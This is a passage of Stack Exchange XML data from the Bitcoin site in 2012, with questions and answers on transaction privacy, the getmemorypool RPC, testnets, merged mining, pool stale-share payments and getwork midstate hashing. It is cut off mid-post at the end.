  <row Id="5087" PostTypeId="2" ParentId="5079" CreationDate="2012-10-17T22:30:22.793" Score="3" Body="&lt;p&gt;Bitcoin doesn't really have sender addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every transaction consumes some of your coins, and creates one or more new coins, potentially assigned to a different address. What the receiver can see is the transaction, and he can trace which coins it spent, and which addresses those coins were previously assigned to. Some programs/sites use the first such address as sender, but this is not recommended. It doesn't say who sent the money - only who previously controlled it (which may for example be a shared webwallet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reference client always considers its entire pool of (confirmed) coins as source for creating transactions. The recently (0.7.0) introduced raw transaction API allows fine-grained control over which coins are used as input, but does not have a GUI (yet).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-10-17T22:30:22.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5088" PostTypeId="1" CreationDate="2012-10-17T22:32:52.507" Score="6" ViewCount="464" Body="&lt;p&gt;I have been reading a bit about Bitcoin recently and am fascinated with the project and think it has great potential.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, one thing I think it needs in order to gain mass popularity is to make it so if you give someone your address they can't just go and see all of your previous transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know in Bitcoin one is supposed to create a new key for every transaction, but not many people will be willing to do that. I don't think most people care about having complete anonymity for every transaction they make - but in the case of Bitcoin if you don't care about that then the person can see your entire transaction log. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would there be a way to have both? I am no expert in Crypto (obviously) but could you perhaps have one address (say your email address) and every time you use it the system generates a new hash-address automatically and sends that. So then if someone just knew your email address that you give people to pay you they could not see the transactions you made because your hash-adress that is in the blockchain is not directly linked to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This likely will not work but I am wondering if anyone else has thought about this? I think it is what is needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any comments would be awesome!&lt;/p&gt;&#xA;" OwnerUserId="2079" LastEditorUserId="85" LastEditDate="2012-10-18T12:25:02.987" LastActivityDate="2012-10-18T12:25:02.987" Title="Is it possible for a decentralized currency to have untraceable transactions?" Tags="|transactions|blockchain|address|alternatives|privacy|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5089" PostTypeId="2" ParentId="5082" CreationDate="2012-10-17T22:37:43.343" Score="7" Body="&lt;p&gt;Frankly, I just picked a range of numbers whose binary representation wouldn't easily collide with those of addresses (0, 111), secret keys (128, 239), public keys (2-7) or signatures (48). At the time, I didn't really expect it to end up in the message signing feature eventually.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-10-17T22:37:43.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5090" PostTypeId="1" AcceptedAnswerId="5093" CreationDate="2012-10-18T00:42:31.660" Score="3" ViewCount="306" Body="&lt;p&gt;To speak the truth, I don't really know what getmemorypool did before, I'm having a hard time trying to figure out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And why is getmemorypool obsolete? What replaced it for internal work generation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't find much documentation about it in search engines.&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2012-10-18T06:27:02.503" Title="What did getmemorypool do?" Tags="|bitcoind|getmemorypool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5091" PostTypeId="2" ParentId="5088" CreationDate="2012-10-18T01:52:36.383" Score="0" Body="&lt;p&gt;The bitcoin client only know Bitcoin addresses.  There are no aliases, or anything like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An EWallet or third-party service allows you to receive coins using an alternate ID.  For instance, sending from one Coinbase account to another doesn't require that the sender send to a Bitcoin address.  The same goes for sending via Coinapult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some of the EWallet services:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Category:EWallets&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Category:EWallets&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-18T01:52:36.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5092" PostTypeId="2" ParentId="5088" CreationDate="2012-10-18T06:22:22.777" Score="6" Body="&lt;p&gt;You are quite right that there are some drawbacks to reusing a bitcoin address, while at the same time it can be inconvenient to generate a new address each time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you'll find its not possible to make an untraceable payment system where the money supply is limited. If money creation is controlled (as with bitcoin), nodes need a way to trace the money back to a valid origin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the limitations of bitcoin, read on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be interested in BIP 21 (&lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0021&quot;&gt;Bitcoin Improvement Proposal 21&lt;/a&gt;), which is an official URI extension which bitcoin clients or wallets can use to make payments easier. Basically a seller can present a bitcoin URI (i.e. a link) to the buyer, and if the buyer's bitcoin client is compatible, the bitcoin client shows a payment screen saying e.g., &quot;Would you like to send Bob 20 bitcoins?&quot;. What you should note is the seller can put any bitcoin address in the URI, meaning if most bitcoin clients + sellers supported this scheme, many transactions could easily use one-off bitcoin addresses, which helps achieve the privacy you're after. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note there is still the problem that in can be tricky to send bitcoins to e.g. a friend, and that like you said, being able to 'discover' someones bitcoin address by using e.g. their email address would be handy. I have a side project &lt;a href=&quot;https://github.com/matholroyd/bps#bitcoin-payment-service-bps&quot;&gt;Bitcoin Payment Service&lt;/a&gt; which attempts to solve that problem. Basically its an open-source web app that allows anyone to initiate a bitcoin payment to the web site's owner. You can check out &lt;a href=&quot;https://bps.herokuapp.com&quot;&gt;a demo of BPS&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2030" LastActivityDate="2012-10-18T06:22:22.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5093" PostTypeId="2" ParentId="5090" CreationDate="2012-10-18T06:27:02.503" Score="2" Body="&lt;p&gt;getmemorypool gave you the data needed to construct your own mining work and make a valid block. It was/is frequently used by mining pools for generating work for miners. It could look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; bitcoind getmemorypool&#xA;{&#xA;  &quot;version&quot; : 1,&#xA;  &quot;previousblockhash&quot; : &quot;00000000097f17d16fee37a160d300e27ce13632bb4468f0f31ae816e6186a18&quot;,&#xA;  &quot;transactions&quot; : [&#xA;  ],&#xA;  &quot;coinbasevalue&quot; : 5000000000,&#xA;  &quot;coinbaseflags&quot; : &quot;062f503253482f&quot;,&#xA;  &quot;time&quot; : 1350541369,&#xA;  &quot;mintime&quot; : 1350537485,&#xA;  &quot;curtime&quot; : 1350541369,&#xA;  &quot;bits&quot; : &quot;1c2f36c0&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Normally &lt;code&gt;transactions&lt;/code&gt; would be a long list of transaction data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;getmemorypool is no longer supported in bitcoind since version 0.7 which has getblocktemplate instead. getblocktemplate is more flexible and suitable for pool mining. It is now in use both for getting data from bitcoind and for miners to get work from pools.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-10-18T06:27:02.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5094" PostTypeId="2" ParentId="4471" CreationDate="2012-10-18T10:21:59.573" Score="2" Body="&lt;p&gt;I don't consider these to be competitors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Credit cards are a convenient way of doing payment processing on top of fiat currency. Bitcoin is a digital currency on itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sure, Bitcoin today can function as a very rudimentary way of doing payments (just like cash-via-mail can be), but it's not particularly good at it - all it provides is storing and transferring value. What I hope is that in the future it will become a platform upon which payment processors can build. Since the currency is already inherently digital, building a payment platform on top of it should be significantly easier. Furthermore, since it is decentralized, everyone has the ability to become their own payment processor (or bank...).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-10-18T10:21:59.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5095" PostTypeId="2" ParentId="4014" CreationDate="2012-10-18T10:35:45.767" Score="5" Body="&lt;p&gt;After searching and searching I found these possiblites.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use bitminter Java client in Version 1.1.2 &lt;a href=&quot;http://bitminter.com/client/1.1.2/bitminter.jnlp&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitminter.com/client/1.1.2/bitminter.jnlp&lt;/a&gt; (current version doesn't work)&lt;/li&gt;&#xA;&lt;li&gt;Make your own miner which supports proxy&lt;/li&gt;&#xA;&lt;li&gt;Use a tool like Proxifier (I have not tested it personally, because it is commercial)&lt;/li&gt;&#xA;&lt;li&gt;Use simpleproxy on a remote machine &lt;a href=&quot;https://www.unix.com/man-page/debian/1/simpleproxy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;simpleproxy man page&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;https://stratumproxy.io&quot; rel=&quot;nofollow noreferrer&quot;&gt;stratumproxy.io&lt;/a&gt; (also supports SSL)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1501" LastEditorUserId="128504" LastEditDate="2022-06-23T23:41:00.223" LastActivityDate="2022-06-23T23:41:00.223" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="5096" PostTypeId="2" ParentId="5052" CreationDate="2012-10-18T11:47:59.680" Score="2" Body="&lt;p&gt;Stale shares have no chance of being a valid block credited to the pool, thus submitting one contributes nothing to the pool. The default behavior, then, should be not to pay for invalid shares. (A comparison with matching the difficulty target is illustrative. A miner has no influence on how many of his shares match the target, and hence it is fair to be rewarded for failed shares; however, he does have an influence on how many of his shares are stale, as these can be a result of latency on his end.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a pool decides to pay for stale shares anyway, this must come at the expense of someone else (as the total average reward of a pool with a given number of non-stale shares is fixed). The identity of &quot;someone else&quot; depends on the reward method of the pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Methods like PPLNS do not absorb any variance, and the operator can never lose or gain any money (beyond a fixed fee); 100% of any block reward is distributed among miners. If stale shares are counted for the purpose of dispersing rewards, it means the non-stale shares are rewarded less on average. If all miners have the same stale rate, this has no effect whatsoever on their average reward; there's the same total reward to go around, so what they gain in rewards for stale shares they lose in rewards for non-stale shares. If different miners have different stale rates, this benefits miners with many stales at the expense of miners with few, removing any incentive for the miners to minimize their stale rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some methods absorb variance, the most extreme case being PPS; any statistical deviations manifest as a profit or loss for the operator. If the pool offers payment for stale shares, it comes out of the pocket of the operator. If the stale rate is assumed fixed, this amounts to an effective fee slightly below the nominal fee (e.g. if the nominal fee is 3% but the pool pays for 0.5% of stales, the effective fee is ~2.5%). If the stale rate is not fixed, then the pool becomes more attractive for high-stale miners, and relieves them of the need to worry about their stale rate. This is detrimental to economic efficiency, but can be easier psychologically. To maintain a profitable business, the operator will need to carefully balance his nominal fee with the stale rate of his target audience.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-10-18T11:47:59.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5097" PostTypeId="1" AcceptedAnswerId="5104" CreationDate="2012-10-18T15:59:29.740" Score="5" ViewCount="5849" Body="&lt;p&gt;Good afternoon,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am struggling a bit to receive Bitcoin payments at my online store. So far, I have installed bitcoind in my system and created a set of receiving addresses, and now I face the problem of checking for new payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the following resources: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.gogulski.com/bitcoin-php/class_bitcoin_client.html&quot; rel=&quot;noreferrer&quot;&gt;http://code.gogulski.com/bitcoin-php/class_bitcoin_client.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would like to make a cron job that searches for new payments and stores each one of them into a relational database, each transaction identified by:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Transaction ID&lt;/li&gt;&#xA;&lt;li&gt;Sender's address&lt;/li&gt;&#xA;&lt;li&gt;Amount as a 64-bit integer&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Everything is pretty easy but I can't find an efficient way of extracting the new incoming transactions from my bitcoin daemon. For instance, I am able to extract the balance of each address, but I don't find a feasible way to obtain a collection of incoming transactions with all required data. This creates a further problem because I don't want to process transactions twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is the best way to do it using the API?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much.&lt;/p&gt;&#xA;" OwnerUserId="1934" LastEditorUserId="1934" LastEditDate="2012-10-18T16:04:54.803" LastActivityDate="2014-10-30T22:53:39.783" Title="Bitcoin API - How can I identify new incoming payments?" Tags="|payment|api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5098" PostTypeId="2" ParentId="3255" CreationDate="2012-10-18T17:25:38.330" Score="1" Body="&lt;p&gt;Here's an example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First we call getmemory pool without arguments to get some data for our block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;method&quot;:&quot;getmemorypool&quot;,&quot;params&quot;:[],&quot;id&quot;:1}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;bitcoind answers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;result&quot;: {&#xA;        &quot;version&quot;:1,&#xA;        &quot;previousblockhash&quot;:&quot;0000000009a9a1c729d51337bf32ff300eeb59a5b3fbca99fc21c32e939c45f3&quot;,&#xA;        &quot;transactions&quot;:[&quot; &quot;,&quot; &quot;],&#xA;        &quot;coinbasevalue&quot;:5000000000,&#xA;        &quot;coinbaseflags&quot;:&quot;062f503253482f&quot;,&#xA;        &quot;time&quot;:1350579878,&#xA;        &quot;mintime&quot;:1350577150,&#xA;        &quot;curtime&quot;:1350579878,&#xA;        &quot;bits&quot;:&quot;1c2f36c0&quot;&#xA;    },&#xA;    &quot;error&quot;:null,&#xA;    &quot;id&quot;:1&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next to create the block. We send:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;method&quot;:&quot;getmemorypool&quot;,&quot;params&quot;:[&quot; &quot;],&quot;id&quot;:1}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;bitcoind answers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;result&quot;:true,&quot;error&quot;:null,&quot;id&quot;:1}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What happens is that we use the data we get from the first RPC call to construct a block and then send a hex representation of that block to bitcoind. Going over every byte in the data above is a bit much to do here, but the big chunk of data that represents our block follows the bitcoin protocol binary layout for blocks, which can be found at &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#block&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification#block&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The block above exists at height 89819 of the testnet used by bitcoind 0.6. You may not be able to see it if you are on a different testnet.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2012-10-18T20:05:42.773" LastActivityDate="2012-10-18T20:05:42.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5099" PostTypeId="1" AcceptedAnswerId="5102" CreationDate="2012-10-18T17:47:16.963" Score="1" ViewCount="232" Body="&lt;p&gt;Apart from running a private testnet-in-a-box there are also the public testnet instances. You can use this instead of the regular (production) bitcoin network by setting &lt;code&gt;testnet=1&lt;/code&gt; in your bitcoind configuration file. However, the fact that there are multiple instances and not just one testnet can be confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it my version of bitcoind that determines which testnet I am on, or something else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I see which testnet I am using?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to switch testnet? If I was on testnet 2 and wanted to use testnet 3 would it require upgrading bitcoind? Would upgrading bitcoind automatically bring me over on the new testnet, deleting all my old blocks, transactions and coins from the old one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there other bitcoin clients that support testnet and if so which one(s) do they use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I want to use blockexplorer or something similar, do they only support the &quot;latest edition&quot; testnet?&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="1842" LastEditDate="2012-10-18T18:20:46.043" LastActivityDate="2012-11-17T19:51:14.867" Title="How can I work with multiple testnets?" Tags="|development|testing|testnet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5100" PostTypeId="1" AcceptedAnswerId="7596" CreationDate="2012-10-18T17:55:15.050" Score="3" ViewCount="1501" Body="&lt;p&gt;If I want better control of my test environment while developing a bitcoin-related application it seems useful to run my own testnet rather than use the public testnet. How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is testnet-in-a-box? Can I use that? What are the advantages and limitations, if any? Are there other options?&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-02-12T09:42:53.827" Title="How do I run my own testnet? What's testnet-in-a-box?" Tags="|development|testing|testnet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5101" PostTypeId="2" ParentId="5097" CreationDate="2012-10-18T18:19:28.310" Score="1" Body="&lt;p&gt;Raw transactions provides the information about the Inputs (&quot;sender addresses&quot;, as you refer to them). &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Raw_Transactions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In that is ListUnspent which will give you all the Transaction Ids, output addresses (&quot;receiving address&quot;) and amounts.  From that you can compare against your list to tell which are new.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-18T18:19:28.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5102" PostTypeId="2" ParentId="5099" CreationDate="2012-10-18T19:05:12.887" Score="0" Body="&lt;p&gt;If you are using Bitcoin version 0.7, you are on testnet 3. Updating to that version will put you in the newest testnet. Blockexplorer and Testnet Faucet use that version.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-18T19:05:12.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5103" PostTypeId="2" ParentId="2897" CreationDate="2012-10-18T20:03:18.487" Score="2" Body="&lt;p&gt;Most of what you need is explained at &lt;a href=&quot;https://en.bitcoin.it/wiki/Merged_mining_specification&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Merged_mining_specification&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you construct the block for the primary chain (e.g. bitcoin) you need to include a merged mining header in the generation transaction (coinbase). The format of this data is explained at the URL above under &quot;Merged mining coinbase&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, while hashing the primary chain, you get a hash that is below the target for the auxiliary chain (e.g. namecoin) you can create a block on that chain using getmemorypool (assuming the daemon for that chain supports getmemorypool).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To submit a merged mining block, for namecoin you need to do two things that you wouldn't do when mining non-merged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first is to set the auxpow bit in the version field of the block header. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;BLOCK_VERSION_AUXPOW = (1 &amp;lt;&amp;lt; 8)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second difference is that you insert an auxpow between the header and the transactions. The binary layout of the auxpow is explained at the URL above under &quot;Aux proof-of-work&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The auxpow bit in the version field tells namecoin that after the block header there will be an auxpow before the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory other alt coins may need to have their merged blocks formatted differently and/or submitted differently to their daemon.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-10-18T20:03:18.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5104" PostTypeId="2" ParentId="5097" CreationDate="2012-10-18T21:54:14.347" Score="2" Body="&lt;p&gt;If you want to identify incoming payments, the recommended way is creating a new receive address for every request. When the confirmations of a transaction to a given address get high enough, you can consider the payment confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the 'sender address' does not give you reliable information - it can only identify (one of the) addresses that were previously in control of the coins. There is no guarantee that these correspond to the sender of the payment (it may be a webwallet with shared coins, for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not reusing addresses also has other benefits, like making bitcoins as a whole less easily traceable.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-10-18T21:54:14.347" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5105" PostTypeId="1" CreationDate="2012-10-18T22:22:04.363" Score="2" ViewCount="535" Body="&lt;p&gt;Program runs but doesn't seem to be able to synchronize with network.  Is there more to installing program than just dragging into applications folder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also confused about why I don't have a Bitcoin folder in Application Support folder of Library folder...  (If invisible, how do I make it visible?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a returning user after being away for about a year....  trying to access an old wallet.dat file saved on USB stick&lt;/p&gt;&#xA;" OwnerUserId="2083" LastEditorUserId="3364" LastEditDate="2013-04-02T22:49:57.140" LastActivityDate="2014-08-08T11:24:25.727" Title="Mac OS 10.7.5 compatible with Bitcoin-Qt.app?" Tags="|wallet|mac|synchronization|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5106" PostTypeId="2" ParentId="2506" CreationDate="2012-10-19T07:13:27.207" Score="0" Body="&lt;p&gt;I am working on an online game! My site is &lt;a href=&quot;http://www.terrasilenti.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.terrasilenti.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are in alpha phase testing and have a game running. Pre-Beta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Players using bitcoins will be treated as full currency processing and we give detailed setup for mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We plan to support the bitcoin community through use as well as support of the bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="2084" LastActivityDate="2012-10-19T07:13:27.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5107" PostTypeId="2" ParentId="5051" CreationDate="2012-10-19T15:16:44.967" Score="-1" Body="&lt;p&gt;It is working now! Issue closed. Great service provided by BlockChain.&lt;/p&gt;&#xA;" OwnerUserId="1934" LastActivityDate="2012-10-19T15:16:44.967" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5108" PostTypeId="1" AcceptedAnswerId="5118" CreationDate="2012-10-19T16:44:45.727" Score="2" ViewCount="1315" Body="&lt;p&gt;My mining rig consumes 1,250w.  What additional information do I need, or how do I shop for a product that will protect me from Brownouts and Electrical surges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not interested in UPS functionality, however I'm mostly concerned about protecting the equipment and would rather shut the rig down than pay the expense incurred with a battery backed UPS over a long duration.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-16T08:58:44.907" LastActivityDate="2016-03-16T08:58:44.907" Title="How do I protect my mining rig from brownouts and electrical surges?" Tags="|mining-setup|energy-consumption|risk-mitigation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5109" PostTypeId="2" ParentId="241" CreationDate="2012-10-19T19:33:33.480" Score="0" Body="&lt;p&gt;Here's a recent list that shows those offering escrow services:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=108716.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=108716.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-19T19:33:33.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5110" PostTypeId="1" CreationDate="2012-10-19T21:24:36.513" Score="7" ViewCount="3517" Body="&lt;p&gt;I'm trying to walk my way through the process by which a miner hashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say the &lt;code&gt;getwork&lt;/code&gt; request returns a &lt;code&gt;data&lt;/code&gt; field of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000244de6ceba49e1c8d438c0d8c584eefd9c8590545bfdfbf380000025c00000000fb3a091de1b4bbe5dc7acfe6bdacbc3fc3bb09bf1030adef8e2854db1b6ac42f5075c0051a057e08456c6f69000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as I understand, the first step is to calculate the midstate. To do this, we first take the first half of the data string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000244de6ceba49e1c8d438c0d8c584eefd9c8590545bfdfbf380000025c00000000fb3a091de1b4bbe5dc7acfe6bdacbc3fc3bb09bf1030adef8e2854db&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We then reverse the endianness of each 32-bit unsigned int (represented as 8 hex digits in the string), yielding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;02000000eb6cde448d1c9ea48c0d8c43d9ef4e58450559c838bfdfbf5c020000000000001d093afbe5bbb4e1e6cf7adc3fbcacbdbf09bbc3efad3010db54288e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next we transform this into sixteen 32-bit unsigned ints:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;33554432, 3949780548, 2367463076, 2349698115, 3656339032, 1157978568, 952098751, 1543634944, 0, 487144187, 3854284001, 3872357084, 1069329597, 3205086147, 4021104656, 3679725710&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We then input this int array into SHA-256's internal function, with the second input being the eight 32-bit numbers given on page 13 of the &lt;a href=&quot;http://csrc.nist.gov/publications/fips/fips180-2/fips180-2.pdf&quot;&gt;SHA-256 specs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output of this preliminary hash yields the following eight 32-bit ints as our midstate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3045448562, 361056177, 1940413978, 3803584651, 1661283772, 3478943551, 2906109005, 300125848&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;From this point on, I'm not sure how correct the steps are. Corrections are greatly appreciated!&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, we look at the second half of the input string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1b6ac42f5075c0051a057e08456c6f69000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once again, we reverse the endianness, as everything is an 8-character hex string representing 32-bit unsigned ints: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2fc46a1b05c07550087e051a696f6c45800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000280&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, we break this up into sixteen 32-bit ints: &lt;code&gt;801401371, 96499024, 142476570, 1768909893, 2147483648, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 640&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fifth number (&lt;code&gt;21474836481&lt;/code&gt;) should be the nonce, according to &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot;&gt;this description&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;(Why isn't this nonce zero?)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, starting at the given nonce, we use the SHA-256 function to hash the sixteen 32-bit ints from the second half of the 